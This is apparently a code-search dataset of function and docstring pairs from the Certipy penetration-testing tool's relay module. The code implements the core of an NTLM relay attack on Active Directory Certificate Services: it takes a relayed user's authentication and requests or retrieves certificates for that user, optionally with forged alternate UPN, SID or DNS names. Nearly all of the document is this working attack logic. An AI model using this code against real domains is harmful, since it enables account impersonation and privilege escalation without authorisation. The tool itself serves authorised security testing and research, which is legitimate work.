self.adcs_relay.subject, self.adcs_relay.alt_sid, self.adcs_relay.out, self.adcs_relay.pfx_password, ) return self.finish_run()
Request a new certificate for the relayed user.
_request_certificate
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def __init__( self, adcs_relay: "Relay", config: NTLMRelayxConfig, dce: Any, username: str ): """ Initialize the RPC attack client. Args: adcs_relay: The parent Relay object config: NTLMRelayxConfig object with relay settings dce: DCE/RPC connection username: Username of the relayed user """ super().__init__(config, dce, username) self.adcs_relay = adcs_relay self.dce = dce self.rpctransport = dce.get_rpc_transport() self.stringbinding = self.rpctransport.get_stringbinding() # Parse domain and username try: if "/" in username: self.domain, self.username = username.split("/") else: self.domain, self.username = "Unknown", username except Exception as e: logging.error(f"Error parsing username {username}: {e}") handle_error() self.domain, self.username = "Unknown", username
Initialize the RPC attack client. Args: adcs_relay: The parent Relay object config: NTLMRelayxConfig object with relay settings dce: DCE/RPC connection username: Username of the relayed user
__init__
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def run(self) -> None: # type: ignore """ Execute the certificate request attack with proper locking. """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) # Initialize RPC interface self.interface = RPCRequestInterface(parent=self.adcs_relay.request) self.interface._dce = self.dce try: self._run() except Exception as e: logging.error(f"Failed to run attack: {e}") handle_error() finally: self.adcs_relay.attack_lock.release()
Execute the certificate request attack with proper locking.
run
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def _run(self) -> None: """ Main attack logic - request or retrieve a certificate for the relayed user. """ # Check if we've already attacked this target and should skip full_username = f"{self.username}@{self.domain}" if ( not self.adcs_relay.no_skip and full_username in self.adcs_relay.attacked_targets ): logging.info( f"Skipping user {full_username!r} since attack was already performed" ) return logging.info(f"Attacking user {full_username!r}") # Handle certificate retrieval or request request_id = self.adcs_relay.request_id if request_id: _ = self.retrieve() else: _ = self.request() self.finish_run()
Main attack logic - request or retrieve a certificate for the relayed user.
_run
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def retrieve(self) -> bool: """ Retrieve a certificate by request ID. Returns: True on success, False on failure """ if self.adcs_relay.request_id is None: logging.error("Request ID was not defined") return False request_id = int(self.adcs_relay.request_id) logging.info(f"Retrieving certificate for request id {request_id}") cert = self.interface.retrieve(request_id) if cert is None: logging.error("Failed to retrieve certificate") return False return handle_retrieve( cert, request_id, self.username, out=self.adcs_relay.out, pfx_password=self.adcs_relay.pfx_password, )
Retrieve a certificate by request ID. Returns: True on success, False on failure
retrieve
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT
def request(self) -> Union[bool, Tuple[bytes, str]]: """ Request a new certificate for the relayed user. Returns: Tuple of (PFX data, filename) on success, False on failure """ # Choose appropriate template based on username template = self.config.template if template is None: logging.info("Template was not defined. Defaulting to Machine/User") template = "Machine" if self.username.endswith("$") else "User" logging.info( f"Requesting certificate for user {self.username!r} with template {template!r}" ) # Generate certificate signing request csr, key = create_csr( self.username, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, subject=self.adcs_relay.subject, key_size=self.adcs_relay.key_size, application_policies=self.adcs_relay.application_policies, smime=self.adcs_relay.smime, ) self.interface.parent.key = key # Handle key archival if specified if self.adcs_relay.archive_key: logging.info( f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}" ) with open(self.adcs_relay.archive_key, "rb") as f: cax_cert = f.read() cax_cert = der_to_cert(cax_cert) logging.info("Retrieved CAX certificate") csr_data = create_key_archival(csr, key, cax_cert) else: csr_data = csr_to_der(csr) # Build certificate attributes attributes = create_csr_attributes( template, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, ) # Submit certificate request cert = self.interface.request(csr_data, attributes) if cert is None: logging.error("Failed to request certificate") return False return handle_request_response( cert, key, self.username, self.adcs_relay.subject, self.adcs_relay.alt_sid, self.adcs_relay.out, self.adcs_relay.pfx_password, )
Request a new certificate for the relayed user. Returns: Tuple of (PFX data, filename) on success, False on failure
request
python
ly4k/Certipy
certipy/commands/relay.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/relay.py
MIT